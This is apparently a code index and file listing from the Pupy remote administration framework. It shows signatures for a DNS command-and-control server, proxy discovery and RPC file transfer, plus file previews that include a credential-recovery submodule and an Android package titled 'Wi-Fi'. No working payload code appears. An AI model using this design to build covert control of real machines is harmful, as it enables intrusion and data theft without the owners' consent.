method warning (line 205) | def warning(self):
method warning (line 216) | def warning(self, warning):
method add_command (line 220) | def add_command(self, command):
method __repr__ (line 226) | def __repr__(self):
class Session (line 233) | class Session(ExpirableObject):
method __init__ (line 246) | def __init__(self, node, cid, spi, encoder, commands, timeout):
method encoder (line 274) | def encoder(self):
method add_command (line 277) | def add_command(self, command):
method __repr__ (line 283) | def __repr__(self):
class DnsNoCommandServerException (line 289) | class DnsNoCommandServerException(Exception):
class DnsPingRequest (line 293) | class DnsPingRequest(Exception):
class DnsActivationRequest (line 297) | class DnsActivationRequest(Exception):
class DnsCommandServerException (line 301) | class DnsCommandServerException(Exception):
method __init__ (line 305) | def __init__(self, message, nonce, version, domain):
method error (line 312) | def error(self):
method __str__ (line 315) | def __str__(self):
method __repr__ (line 319) | def __repr__(self):
function activator (line 323) | def activator(activation, key):
class DnsCommandServerHandler (line 334) | class DnsCommandServerHandler(BaseResolver):
method __init__ (line 338) | def __init__(
method max_payload_len (line 375) | def max_payload_len(self, query_len, record_len):
method cleanup (line 415) | def cleanup(self):
method locked (line 441) | def locked(f):
method _nodes_by_nodeids (line 448) | def _nodes_by_nodeids(self, ids):
method _sessions_by_nodeids (line 454) | def _sessions_by_nodeids(self, ids):
method _nodeids_with_sessions (line 460) | def _nodeids_with_sessions(self, ids):
method add_command (line 467) | def add_command(self, command, session=None, default=False):
method reset_commands (line 527) | def reset_commands(self, session=None, default=False):
method find_nodes (line 575) | def find_nodes(self, node):
method find_sessions (line 587) | def find_sessions(self, spi=None, node=None):
method set_policy (line 621) | def set_policy(self, kex=True, timeout=None, interval=None, node=None):
method encode_pastelink_content (line 664) | def encode_pastelink_content(self, content, version=ENCODER_V2):
method on_custom_event (line 675) | def on_custom_event(self, eventid, session, node):
method on_connect (line 678) | def on_connect(self, info):
method on_keep_alive (line 681) | def on_keep_alive(self, info):
method on_exit (line 684) | def on_exit(self, info):
method on_new_session (line 687) | def on_new_session(self, session):
method on_session_cleaned_up (line 690) | def on_session_cleaned_up(self, session):
method on_online_status (line 693) | def on_online_status(self, session):
method on_egress_ports (line 696) | def on_egress_ports(self, session):
method on_pstore (line 699) | def on_pstore(self, session):
method on_user_become_active (line 702) | def on_user_become_active(self, session):
method on_user_become_inactive (line 705) | def on_user_become_inactive(self, session):
method on_users_increment (line 708) | def on_users_increment(self, session):
method on_users_decrement (line 711) | def on_users_decrement(self, session):
method on_hight_resource_usage (line 714) | def on_hight_resource_usage(self, session):
method encoder_from_session (line 717) | def encoder_from_session(self, session, version):
method csum_from_session (line 727) | def csum_from_session(self, session, version):
method _a_page_encoder (line 734) | def _a_page_encoder(self, data, encoder, nonce, qname):
method _aaaa_page_encoder (line 771) | def _aaaa_page_encoder(self, data, encoder, nonce, qname):
method _q_page_decoder (line 805) | def _q_page_decoder(self, data):
method _new_node_from_session (line 899) | def _new_node_from_session(self, session):
method _new_node_from_systeminfo (line 919) | def _new_node_from_systeminfo(self, command, sid=None):
method _cmd_processor (line 936) | def _cmd_processor(self, command, session, node, csum_gen, csum_check):
method resolve (line 1145) | def resolve(self, request, handler):
method process (line 1168) | def process(self, qtype, qname):
method _kex_is_disabled (line 1375) | def _kex_is_disabled(self, node):
method _resolve (line 1378) | def _resolve(self, request, handler):
class DnsCommandServer (line 1421) | class DnsCommandServer(object):
method __init__ (line 1422) | def __init__(self, handler, port=5454, address='0.0.0.0'):
method start (line 1452) | def start(self):
method stop (line 1457) | def stop(self):
FILE: pupy/network/lib/proxies.py
function parse_win_proxy (line 84) | def parse_win_proxy(val):
function get_win_proxies (line 101) | def get_win_proxies():
function get_python_proxies (line 140) | def get_python_proxies():
function _normalize_env_proxies (line 161) | def _normalize_env_proxies(schema, user, passwd, proxy):
function parse_env_proxies (line 177) | def parse_env_proxies(var):
function get_env_proxies (line 187) | def get_env_proxies():
function _try_read (line 197) | def _try_read(path):
function _get_profile_files_content (line 204) | def _get_profile_files_content():
function get_profile_proxies (line 243) | def get_profile_proxies():
function gio_init (line 250) | def gio_init():
function get_gio_proxies (line 298) | def get_gio_proxies(force=True):
function get_processes_proxies (line 355) | def get_processes_proxies():
function parse_proxy (line 384) | def parse_proxy(proxy_str):
function get_proxies (line 417) | def get_proxies():
function _check_proxy_info (line 442) | def _check_proxy_info(proxy_info):
function find_default_proxy (line 461) | def find_default_proxy():
function has_wpad (line 488) | def has_wpad():
function find_auth (line 537) | def find_auth(proxy_info):
function is_proxiable (line 565) | def is_proxiable(chain, transport_info):
function find_proxies (line 575) | def find_proxies(url=None, auth=True):
function make_args_for_transport_info (line 607) | def make_args_for_transport_info(transport_info, host_info, chain):
function _parse_proxies (line 655) | def _parse_proxies(proxies):
function find_proxies_for_transport (line 664) | def find_proxies_for_transport(
function _is_native_for (line 734) | def _is_native_for(proxies, transport):
function connect_client_with_proxy_info (line 743) | def connect_client_with_proxy_info(transport_info, proxy_info):
FILE: pupy/network/lib/rpc/core/brine.py
function _dump_named_tuple (line 90) | def _dump_named_tuple(obj, stream, version):
function register_named_tuple (line 103) | def register_named_tuple(code, ntype):
function register (line 111) | def register(coll, key, min_version=0):
function _dump_none (line 135) | def _dump_none(obj, stream, version):
function _dump_notimplemeted (line 140) | def _dump_notimplemeted(obj, stream, version):
function _dump_ellipsis (line 145) | def _dump_ellipsis(obj, stream, version):
function _dump_bool (line 150) | def _dump_bool(obj, stream, version):
function _dump_slice (line 158) | def _dump_slice(obj, stream, version):
function _dump_frozenset (line 164) | def _dump_frozenset(obj, stream, version):
function _dump_int (line 170) | def _dump_int(obj, stream, version):
function _dump_float (line 183) | def _dump_float(obj, stream, version):
function _dump_complex (line 188) | def _dump_complex(obj, stream, version):
function _dump_bytes (line 194) | def _dump_bytes(obj, stream, version):
function _dump_str (line 214) | def _dump_str(obj, stream, version):
function _dump_immutable_dict (line 219) | def _dump_immutable_dict(obj, stream, version):
function _dump_immutable_dict_keys (line 228) | def _dump_immutable_dict_keys(obj, stream, version):
function _dump_str (line 238) | def _dump_str(obj, stream, version):
function _dump_unicode (line 258) | def _dump_unicode(obj, stream, version):
function _dump_long (line 263) | def _dump_long(obj, stream, version):
function _dump_immutable_dict (line 268) | def _dump_immutable_dict(obj, stream, version):
function _dump_immutable_set (line 278) | def _dump_immutable_set(obj, stream, version):
function _dump_immutable_list (line 288) | def _dump_immutable_list(obj, stream, version):
function _dump_tuple (line 298) | def _dump_tuple(obj, stream, version):
function _undumpable (line 319) | def _undumpable(obj, stream, version):
function _dump (line 325) | def _dump(obj, stream, version=0):
function _load_named_tuple (line 338) | def _load_named_tuple(stream, version):
function _load_immutable_dict (line 349) | def _load_immutable_dict(stream, version):
function _load_immutable_set (line 360) | def _load_immutable_set(stream, version):
function _load_immutable_list (line 371) | def _load_immutable_list(stream, version):
function _load_none (line 382) | def _load_none(stream, version):
function _load_nonimp (line 387) | def _load_nonimp(stream, version):
function _load_elipsis (line 392) | def _load_elipsis(stream, version):
function _load_true (line 397) | def _load_true(stream, version):
function _load_false (line 402) | def _load_false(stream, version):
function _load_empty_tuple (line 407) | def _load_empty_tuple(stream, version):
function _load_empty_str (line 412) | def _load_empty_str(stream, version):
function _load_long (line 418) | def _load_long(stream, version):
function _load_long (line 423) | def _load_long(stream, version):
function _load_float (line 429) | def _load_float(stream, version):
function _load_complex (line 434) | def _load_complex(stream, version):
function _load_str1 (line 440) | def _load_str1(stream, version):
function _load_str2 (line 445) | def _load_str2(stream, version):
function _load_str3 (line 450) | def _load_str3(stream, version):
function _load_str4 (line 455) | def _load_str4(stream, version):
function _load_str_l1 (line 460) | def _load_str_l1(stream, version):
function _load_str_l4 (line 466) | def _load_str_l4(stream, version):
function _load_unicode (line 472) | def _load_unicode(stream, version):
function _load_tup1 (line 478) | def _load_tup1(stream, version):
function _load_tup2 (line 483) | def _load_tup2(stream, version):
function _load_tup3 (line 488) | def _load_tup3(stream, version):
function _load_tup4 (line 496) | def _load_tup4(stream, version):
function _load_tup_l1 (line 504) | def _load_tup_l1(stream, version):
function _load_tup_l4 (line 510) | def _load_tup_l4(stream, version):
function _load_slice (line 516) | def _load_slice(stream, version):
function _load_frozenset (line 522) | def _load_frozenset(stream, version):
function _load_int_l1 (line 527) | def _load_int_l1(stream, version):
function _load_int_l4 (line 533) | def _load_int_l4(stream, version):
function _load (line 538) | def _load(stream, version=0):
function dump (line 557) | def dump(obj, version=0):
function load (line 569) | def load(data, version=0):
function dumpable (line 592) | def dumpable(obj, version=0, log_deep=False, copy_mutable=True):
FILE: pupy/network/lib/rpc/core/channel.py
class Channel (line 20) | class Channel(object):
method __init__ (line 34) | def __init__(self, stream, compress = True):
method close (line 40) | def close(self):
method closed (line 45) | def closed(self):
method fileno (line 49) | def fileno(self):
method poll (line 53) | def poll(self, timeout):
method recv (line 57) | def recv(self):
method send (line 74) | def send(self, data):
FILE: pupy/network/lib/rpc/core/netref.py
class byref (line 75) | class byref(object):
method __init__ (line 78) | def __init__(self, obj):
function syncreq (line 82) | def syncreq(proxy, handler, *args):
function asyncreq (line 101) | def asyncreq(proxy, handler, *args):
class NetrefMetaclass (line 120) | class NetrefMetaclass(type):
method __repr__ (line 127) | def __repr__(self):
class BaseNetref (line 134) | class BaseNetref(object):
method __init__ (line 156) | def __init__(self, conn, oid):
method __del__ (line 162) | def __del__(self):
method __getattribute__ (line 172) | def __getattribute__(self, name):
method __getattr__ (line 208) | def __getattr__(self, name):
method __delattr__ (line 215) | def __delattr__(self, name):
method __setattr__ (line 227) | def __setattr__(self, name, value):
method __dir__ (line 239) | def __dir__(self):
method __hash__ (line 248) | def __hash__(self):
method __iter__ (line 252) | def __iter__(self):
method __cmp__ (line 258) | def __cmp__(self, other):
method __repr__ (line 262) | def __repr__(self):
method __str__ (line 267) | def __str__(self):
method __reduce_ex__ (line 273) | def __reduce_ex__(self, proto):
function _make_method (line 285) | def _make_method(name, doc):
function inspect_methods (line 368) | def inspect_methods(obj):
function class_factory (line 392) | def class_factory(clsname, modname, methods):
FILE: pupy/network/lib/rpc/core/nowait.py
class AsyncResultTimeout (line 8) | class AsyncResultTimeout(Exception):
class AsyncResult (line 13) | class AsyncResult(object):
method __init__ (line 20) | def __init__(self, conn):
method __repr__ (line 28) | def __repr__(self):
method __call__ (line 39) | def __call__(self, is_exc, obj):
method wait (line 49) | def wait(self):
method add_callback (line 67) | def add_callback(self, func):
method set_expiry (line 80) | def set_expiry(self, timeout):
method ready (line 92) | def ready(self):
method error (line 101) | def error(self):
method expired (line 108) | def expired(self):
method value (line 116) | def value(self):
FILE: pupy/network/lib/rpc/core/protocol.py
class PingError (line 25) | class PingError(Exception):
class Connection (line 149) | class Connection(object):
method __init__ (line 171) | def __init__(self, service, channel, config={}, _lazy=False):
method _init_service (line 200) | def _init_service(self):
method __del__ (line 203) | def __del__(self):
method __enter__ (line 206) | def __enter__(self):
method __exit__ (line 209) | def __exit__(self, t, v, tb):
method __repr__ (line 212) | def __repr__(self):
method _cleanup (line 219) | def _cleanup(self, _anyway=True):
method close (line 234) | def close(self, _catchall=True):
method closed (line 250) | def closed(self):
method fileno (line 254) | def fileno(self):
method ping (line 258) | def ping(self, data=None, timeout=3):
method _get_seq_id (line 276) | def _get_seq_id(self):
method _send (line 279) | def _send(self, msg, seq, args, version):
method _send_request (line 310) | def _send_request(self, seq, handler, args, version=0):
method _send_reply (line 317) | def _send_reply(self, seq, obj, version=0):
method _send_exception (line 323) | def _send_exception(self, seq, exctype, excval, exctb, version):
method _box (line 336) | def _box(self, obj, version=0, copy_mutable=True):
method _unbox (line 396) | def _unbox(self, package, version=0):
method _netref_factory (line 447) | def _netref_factory(self, oid, clsname, modname):
method _dispatch_request (line 462) | def _dispatch_request(self, seq, raw_args, version):
method _dispatch_reply (line 484) | def _dispatch_reply(self, seq, raw, version):
method _dispatch_exception (line 491) | def _dispatch_exception(self, seq, raw, version):
method _recv (line 507) | def _recv(self, timeout, wait_for_lock):
method _dispatch (line 522) | def _dispatch(self, data, version=0):
method sync_recv_and_dispatch (line 533) | def sync_recv_and_dispatch(self, timeout, wait_for_lock):
method poll (line 549) | def poll(self, timeout=0):
method serve (line 557) | def serve(self, timeout=1):
method serve_all (line 568) | def serve_all(self):
method serve_threaded (line 582) | def serve_threaded(self, thread_count=10):
method poll_all (line 609) | def poll_all(self, timeout=0):
method sync_request (line 633) | def sync_request(self, handler, *args):
method _async_request (line 652) | def _async_request(self, handler, args=(), callback=(lambda a, b: None)):
method async_request (line 662) | def async_request(self, handler, *args, **kwargs):
method root (line 679) | def root(self):
method _check_attr (line 688) | def _check_attr(self, obj, name):
method _access_attr (line 712) | def _access_attr(self, oid, name, args, overrider, param, default):
method _handle_ping (line 734) | def _handle_ping(self, data):
method _handle_close (line 737) | def _handle_close(self):
method _handle_getroot (line 740) | def _handle_getroot(self):
method _handle_del (line 743) | def _handle_del(self, oid, count=1):
method _handle_repr (line 746) | def _handle_repr(self, oid):
method _handle_str (line 749) | def _handle_str(self, oid):
method _handle_cmp (line 752) | def _handle_cmp(self, oid, other):
method _handle_hash (line 761) | def _handle_hash(self, oid):
method _handle_call (line 764) | def _handle_call(self, oid, args, kwargs=()):
method _handle_dir (line 770) | def _handle_dir(self, oid):
method _handle_inspect (line 773) | def _handle_inspect(self, oid):
method _handle_getattr (line 784) | def _handle_getattr(self, oid, name):
method _handle_delattr (line 791) | def _handle_delattr(self, oid, name):
method _handle_setattr (line 797) | def _handle_setattr(self, oid, name, value):
method _handle_callattr (line 803) | def _handle_callattr(self, oid, name, args, kwargs):
method _handle_pickle (line 816) | def _handle_pickle(self, oid, proto):
method _handle_buffiter (line 822) | def _handle_buffiter(self, oid, count):
method _handle_oldslicing (line 834) | def _handle_oldslicing(self, oid, attempt, fallback, start, stop, args):
FILE: pupy/network/lib/rpc/core/service.py
class Service (line 20) | class Service(object):
method __init__ (line 62) | def __init__(self, conn):
method on_connect (line 65) | def on_connect(self):
method on_disconnect (line 69) | def on_disconnect(self):
method _rpyc_delattr (line 77) | def _rpyc_delattr(self, name):
method _rpyc_setattr (line 80) | def _rpyc_setattr(self, name, value):
method get_service_aliases (line 84) | def get_service_aliases(cls):
method get_service_name (line 94) | def get_service_name(cls):
class ModuleNamespace (line 103) | class ModuleNamespace(object):
method __init__ (line 111) | def __init__(self, getmodule):
method __contains__ (line 115) | def __contains__(self, name):
method __getitem__ (line 123) | def __getitem__(self, name):
method __getattr__ (line 132) | def __getattr__(self, name):
FILE: pupy/network/lib/rpc/core/stream.py
class Stream (line 21) | class Stream(object):
method close (line 26) | def close(self):
method closed (line 31) | def closed(self):
method fileno (line 35) | def fileno(self):
method poll (line 39) | def poll(self, timeout):
method read (line 65) | def read(self, count):
method write (line 74) | def write(self, data):
class ClosedFile (line 82) | class ClosedFile(object):
method __getattr__ (line 87) | def __getattr__(self, name):
method close (line 92) | def close(self):
method closed (line 96) | def closed(self):
method fileno (line 99) | def fileno(self):
class SocketStream (line 105) | class SocketStream(Stream):
method __init__ (line 112) | def __init__(self, sock):
method _connect (line 116) | def _connect(cls, host, port, family = socket.AF_INET, socktype = sock...
method closed (line 143) | def closed(self):
method close (line 146) | def close(self):
method fileno (line 156) | def fileno(self):
method read (line 167) | def read(self, count):
method write (line 188) | def write(self, data):
FILE: pupy/network/lib/rpc/core/vinegar.py
function dump (line 40) | def dump(typ, val, tb, include_local_traceback, version):
function load (line 97) | def load(
class GenericException (line 209) | class GenericException(Exception):
function _get_exception_class (line 217) | def _get_exception_class(cls):
FILE: pupy/network/lib/rpc/lib/__init__.py
class MissingModule (line 14) | class MissingModule(object):
method __init__ (line 17) | def __init__(self, name):
method __getattr__ (line 20) | def __getattr__(self, name):
method __bool__ (line 25) | def __bool__(self):
function safe_import (line 31) | def safe_import(name):
function setup_logger (line 46) | def setup_logger(quiet = False, logfile = None):
function get_methods (line 57) | def get_methods(obj_attrs, obj):
FILE: pupy/network/lib/rpc/lib/colls.py
class WeakValueDict (line 9) | class WeakValueDict(object):
method __init__ (line 14) | def __init__(self):
method __repr__ (line 17) | def __repr__(self):
method __iter__ (line 20) | def __iter__(self):
method __len__ (line 23) | def __len__(self):
method __contains__ (line 26) | def __contains__(self, key):
method get (line 34) | def get(self, key, default = None):
method __getitem__ (line 40) | def __getitem__(self, key):
method __setitem__ (line 46) | def __setitem__(self, key, value):
method __delitem__ (line 51) | def __delitem__(self, key):
method iterkeys (line 54) | def iterkeys(self):
method keys (line 57) | def keys(self):
method itervalues (line 60) | def itervalues(self):
method values (line 64) | def values(self):
method iteritems (line 67) | def iteritems(self):
method items (line 71) | def items(self):
method clear (line 74) | def clear(self):
class RefCountingColl (line 78) | class RefCountingColl(object):
method __init__ (line 82) | def __init__(self):
method __repr__ (line 86) | def __repr__(self):
method add (line 89) | def add(self, obj):
method clear (line 99) | def clear(self):
method decref (line 103) | def decref(self, key, count=1):
method __getitem__ (line 112) | def __getitem__(self, key):
FILE: pupy/network/lib/rpc/utils/classic.py
function upload (line 22) | def upload(conn, localpath, remotepath, filter = None, ignore_invalid = ...
function upload_file (line 40) | def upload_file(conn, localpath, remotepath, chunk_size = 16000):
function upload_dir (line 52) | def upload_dir(conn, localpath, remotepath, filter = None, chunk_size = ...
function download (line 62) | def download(conn, remotepath, localpath, filter = None, ignore_invalid ...
function download_file (line 81) | def download_file(conn, remotepath, localpath, chunk_size = 16000):
function download_dir (line 93) | def download_dir(conn, remotepath, localpath, filter = None, chunk_size ...
function upload_package (line 103) | def upload_package(conn, module, remotepath = None, chunk_size = 16000):
function obtain (line 132) | def obtain(proxy):
function deliver (line 146) | def deliver(conn, localobj):
function redirected_stdio (line 163) | def redirected_stdio(conn):
function pm (line 188) | def pm(conn):
function interact (line 198) | def interact(conn, namespace = None):
class MockClassicConnection (line 214) | class MockClassicConnection(object):
method __init__ (line 218) | def __init__(self):
method execute (line 230) | def execute(self, text):
method eval (line 233) | def eval(self, text):
method getmodule (line 236) | def getmodule(self, name):
method getconn (line 239) | def getconn(self):
function teleport_function (line 242) | def teleport_function(conn, func):
FILE: pupy/network/lib/rpc/utils/helpers.py
function buffiter (line 18) | def buffiter(obj, chunk = 10, max_chunk = 1000, factor = 2):
function restricted (line 54) | def restricted(obj, attrs, wattrs=None):
class _Async (line 99) | class _Async(object):
method __init__ (line 106) | def __init__(self, proxy):
method __call__ (line 109) | def __call__(self, *args, **kwargs):
method __repr__ (line 112) | def __repr__(self):
function nowait (line 117) | def nowait(proxy):
class timed (line 177) | class timed(object):
method __init__ (line 196) | def __init__(self, proxy, timeout):
method __call__ (line 200) | def __call__(self, *args, **kwargs):
method __repr__ (line 205) | def __repr__(self):
class BgServingThread (line 209) | class BgServingThread(object):
method __init__ (line 231) | def __init
Condensed preview — 643 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (5,119K chars).
[
{
"path": ".gitignore",
"chars": 966,
"preview": "# Temporary files\n*.pyc\n*.pyo\n*.swp\n.#*\n\n# Generated sources\nclient/sources/import-tab.c\nclient/sources/import-tab.h\ncli"
},
{
"path": ".gitmodules",
"chars": 2000,
"preview": "[submodule \"pupy/external/LaZagne\"]\n\tpath = pupy/external/LaZagne\n\turl = https://github.com/AlessandroZ/LaZagne\n[submodu"
},
{
"path": ".travis.yml",
"chars": 4279,
"preview": "os: linux\ndist: xenial\nservices: docker\nlanguage: generic\njobs:\n include:\n - language: generic\n - language: pytho"
},
{
"path": "LICENSE",
"chars": 2363,
"preview": "Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\nAll rights reserved.\n\nRedistribution and use in source and binary"
},
{
"path": "README.md",
"chars": 5736,
"preview": "# Pupy\n\n[](https://travis-ci.org/n1nj4sec/pu"
},
{
"path": "client/additional_imports.py",
"chars": 1399,
"preview": "from __future__ import print_function\nimport umsgpack\nimport socket\nimport threading\nimport queue\nimport collections\nimp"
},
{
"path": "client/android_sources/build-docker.sh",
"chars": 375,
"preview": "#!/bin/sh\n\nSELF=`readlink -f \"$0\"`\nSELFPWD=`dirname \"$SELF\"`\nSRC=${SELFPWD:-`pwd`}\n\ncd $SRC\n\nTEMPLATES=`readlink -f ../."
},
{
"path": "client/android_sources/build.sh",
"chars": 520,
"preview": "#!/bin/sh\nexport PATH=$PATH:$HOME/.local/bin\n\npip install --user --upgrade git+https://github.com/kivy/buildozer\n[ -f bu"
},
{
"path": "client/android_sources/buildozer-docker.spec",
"chars": 2274,
"preview": "[app]\n\ntitle = Wi-Fi\npackage.name = pupy\npackage.domain = org.pupy\nsource.dir = .\nsource.include_exts = py,pyc,pyo,png,j"
},
{
"path": "client/android_sources/buildozer.spec.example",
"chars": 8553,
"preview": "[app]\n\n# (str) Title of your application\ntitle = Wi-Fi\n\n# (str) Package name\npackage.name = pupy\n\n# (str) Package domain"
},
{
"path": "client/android_sources/main.py",
"chars": 617,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under t"
},
{
"path": "client/android_sources/pp.py",
"chars": 133,
"preview": "from __future__ import print_function\nimport time\n\ndef main():\n print(\"pp.py is not replaced with working one!\")\n "
},
{
"path": "client/build-docker.sh",
"chars": 1394,
"preview": "#!/bin/bash\n\nSELF=`readlink -f \"$0\"`\nPUPY=`dirname \"$SELF\"`/../\nPUPY=`readlink -f \"$PUPY\"`\n\nDOCKER_COMMAND=${DOCKER_COMM"
},
{
"path": "client/build_library_zip.py",
"chars": 10382,
"preview": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n\nimport site\nimport sys\nimport sysconfig\nimport os\nimport"
},
{
"path": "client/common/7zTypes.h",
"chars": 5481,
"preview": "/* 7zTypes.h -- Basic types\n2013-11-12 : Igor Pavlov : Public domain */\n\n#ifndef __7Z_TYPES_H\n#define __7Z_TYPES_H\n\n#ifd"
},
{
"path": "client/common/LzmaDec.c",
"chars": 30862,
"preview": "/* LzmaDec.c -- LZMA Decoder\r\n2016-05-16 : Igor Pavlov : Public domain */\r\n\r\n#include \"LzmaDec.h\"\r\n\r\n#include <string.h>"
},
{
"path": "client/common/LzmaDec.h",
"chars": 6822,
"preview": "/* LzmaDec.h -- LZMA Decoder\n2013-01-18 : Igor Pavlov : Public domain */\n\n#ifndef __LZMA_DEC_H\n#define __LZMA_DEC_H\n\n#in"
},
{
"path": "client/common/Python-dynload.c",
"chars": 27550,
"preview": "/* **************** Python-dynload.c **************** */\n#include \"Python-dynload.h\"\n#include \"Python-dynload-os.h\"\n\n\nty"
},
{
"path": "client/common/Python-dynload.h",
"chars": 4354,
"preview": "/*\n WARNING !\n DEPENDS ON PYTHON ABI!\n*/\n\n#ifndef PYTHON_DYNLOAD_H\n#define PYTHON_DYNLOAD_H\n\n#include <stdint.h>\n#"
},
{
"path": "client/common/Python-stacktrace.c",
"chars": 5321,
"preview": "#include \"debug.h\"\n#include \"Python-dynload-os.h\"\n#include \"Python-dynload.h\"\n\ntypedef void (*Py_GetStackTraceCb_t) (con"
},
{
"path": "client/common/Python-stacktrace.h",
"chars": 266,
"preview": "#ifndef PYTHON_STACKTRACE_H\n#define PYTHON_STACKTRACE_H\n\ntypedef void (*Py_GetStackTraceCb_t)(\n void *cbdata, const c"
},
{
"path": "client/common/debug.c",
"chars": 965,
"preview": "#include \"debug.h\"\n\nstatic FILE* debug_log = NULL;\n\nint dprint(const char *fmt, ...) {\n va_list args;\n int n;\n "
},
{
"path": "client/common/debug.h",
"chars": 375,
"preview": "#ifndef __DEBUG_H\n#define __DEBUG_H\n\n#include <stdio.h>\n#include <stdarg.h>\n\n#ifdef DEBUG\n\nint dprint(const char *fmt, ."
},
{
"path": "client/common/jni.h",
"chars": 74698,
"preview": "/*\n * Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT N"
},
{
"path": "client/common/jni_md.h",
"chars": 1827,
"preview": "/*\n * Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT N"
},
{
"path": "client/common/jni_on_load.c",
"chars": 29282,
"preview": "#include \"jni.h\"\n#include \"debug.h\"\n\n/* // TODO: Add proper deinitialization.. */\n\nstatic JavaVM *__jvm = NULL;\n\nstatic "
},
{
"path": "client/common/lzmaunpack.c",
"chars": 4062,
"preview": "\n/* --- Code for inlining --- */\n\n#ifndef UNCOMPRESSED\n#include \"LzmaDec.h\"\n\n#ifdef _WIN32\n#define ALLOC(x) VirtualAlloc"
},
{
"path": "client/common/uthash.h",
"chars": 78702,
"preview": "/*\nCopyright (c) 2003-2018, Troy D. Hanson http://troydhanson.github.com/uthash/\nAll rights reserved.\n\nRedistributio"
},
{
"path": "client/gen_library_compressed_string.py",
"chars": 892,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport zipfile\nimport struct\n\nfrom io import open\n\n\n"
},
{
"path": "client/gen_resource_header.py",
"chars": 3113,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport binascii\n#import lzma\nimport pylzma\nimport struct\nimpor"
},
{
"path": "client/mktab.py",
"chars": 6633,
"preview": "from __future__ import print_function\nfrom __future__ import unicode_literals\n\n# A script to generate helper files for d"
},
{
"path": "client/pyoxidizer-build/build_template.sh",
"chars": 941,
"preview": "#!/bin/bash\n# -*- coding: UTF8 -*-\n\npython3 -m pip install pyoxidizer\n\n# so let's copy important files necessary for the"
},
{
"path": "client/pyoxidizer-build/lib/http_parser/__init__.py",
"chars": 203,
"preview": "# -*- coding: utf-8 -\n#\n# This file is part of http_parser released under the MIT license.\n# See the NOTICE for more inf"
},
{
"path": "client/pyoxidizer-build/lib/http_parser/_socketio.py",
"chars": 4130,
"preview": "\"\"\"\nsocketio taken from the python3 stdlib\n\"\"\"\nimport io\nimport sys\nfrom socket import timeout, error, socket\nfrom errno"
},
{
"path": "client/pyoxidizer-build/lib/http_parser/http.py",
"chars": 6596,
"preview": "# -*- coding: utf-8 -\n#\n# This file is part of http-parser released under the MIT license.\n# See the NOTICE for more inf"
},
{
"path": "client/pyoxidizer-build/lib/http_parser/pyparser.py",
"chars": 15458,
"preview": "# -*- coding: utf-8 -\n#\n# This file is part of http-parser released under the MIT license.\n# See the NOTICE for more inf"
},
{
"path": "client/pyoxidizer-build/lib/http_parser/reader.py",
"chars": 3017,
"preview": "# -*- coding: utf-8 -\n#\n# This file is part of http-parser released under the MIT license.\n\n# See the NOTICE for more in"
},
{
"path": "client/pyoxidizer-build/lib/http_parser/util.py",
"chars": 8535,
"preview": "# -*- coding: utf-8 -\n#\n# This file is part of http-parser released under the MIT license.\n# See the NOTICE for more inf"
},
{
"path": "client/pyoxidizer-build/linux-builder.Dockerfile",
"chars": 2974,
"preview": "# Debian Jessie.\nFROM debian@sha256:32ad5050caffb2c7e969dac873bce2c370015c2256ff984b70c1c08b3a2816a0\n\nRUN groupadd -g 10"
},
{
"path": "client/pyoxidizer-build/pyoxidizer.bzl",
"chars": 14480,
"preview": "# This file defines how PyOxidizer application building and packaging is\n# performed. See PyOxidizer's documentation at\n"
},
{
"path": "client/pyoxidizer-build/requirements.txt",
"chars": 79,
"preview": "netaddr\npyaes\ntinyec @ https://github.com/alxchk/tinyec/archive/master.zip\nrsa\n"
},
{
"path": "client/requirements.txt",
"chars": 187,
"preview": "pyaes\npsutil==5.9.2\nrsa==4.0\nnetaddr==0.7.19\ntinyec\nposter\nwin_inet_pton\ndnslib\ndukpy\nzeroconf==0.19.1\nhttps://github.co"
},
{
"path": "client/sources-linux-py3/.gitignore",
"chars": 216,
"preview": "import-tab.c\nimport-tab.h\nresources_bootloader_pyc.c\nresources_library_compressed_string_txt.c\nresources_python3x_so.c\nr"
},
{
"path": "client/sources-linux-py3/Dockerfile.linux-builder",
"chars": 1167,
"preview": "FROM debian:buster\nRUN apt-get update -y\nRUN apt-get upgrade -y\nRUN apt-get install -y curl git make build-essential lib"
},
{
"path": "client/sources-linux-py3/LICENSES.txt",
"chars": 5688,
"preview": "The DLL, SO and executable payloads for pupy contains source code from differents projects with differents licenses.\nAll"
},
{
"path": "client/sources-linux-py3/Makefile",
"chars": 8705,
"preview": "CC ?= gcc\nPYMAJ ?= 3\nPYMIN ?= 10\n\nOS ?= $(shell uname -s)\nMACH ?= $(shell uname -m)\nSUFFIX ?= $(PYMAJ)$(PYMIN).$(shell e"
},
{
"path": "client/sources-linux-py3/Python-dynload-os.h",
"chars": 5929,
"preview": "#ifndef PYTHON_DYNLOAD_OS_H\n#define PYTHON_DYNLOAD_OS_H\n\n#define _GNU_SOURCE\n#include <stdlib.h>\n#include <dlfcn.h>\n#inc"
},
{
"path": "client/sources-linux-py3/Python.SunOS10.Setup.dist",
"chars": 18345,
"preview": "# -*- makefile -*-\n# the file Setup is used by the makesetup script to construct the files\n# Makefile and config.c, from"
},
{
"path": "client/sources-linux-py3/build-docker.sh",
"chars": 5982,
"preview": "#!/bin/sh\n\nSELF=$(readlink -f \"$0\")\nSELFPWD=$(dirname \"$SELF\")\nSRC=${SELFPWD:-$(pwd)}\n\ncd $SRC\n\nPUPY=$(readlink -f ../.."
},
{
"path": "client/sources-linux-py3/build_c_ext.py",
"chars": 774,
"preview": "#!/usr/bin/env python3\n# -*- coding: UTF8 -*-\n\nfrom distutils.core import setup, Extension\nimport sys\n\n\ndef main():\n "
},
{
"path": "client/sources-linux-py3/buildenv-sunos.sh",
"chars": 8988,
"preview": "#!/usr/bin/bash\n\nset -e\n\nexec 2>buildenv-sunos.log\n\nBPWD=`pwd`\nBUILDENV=$BPWD/buildenv-sunos\nTEMPLATES=$BPWD/../../pupy/"
},
{
"path": "client/sources-linux-py3/compat/bits/sched.h",
"chars": 8727,
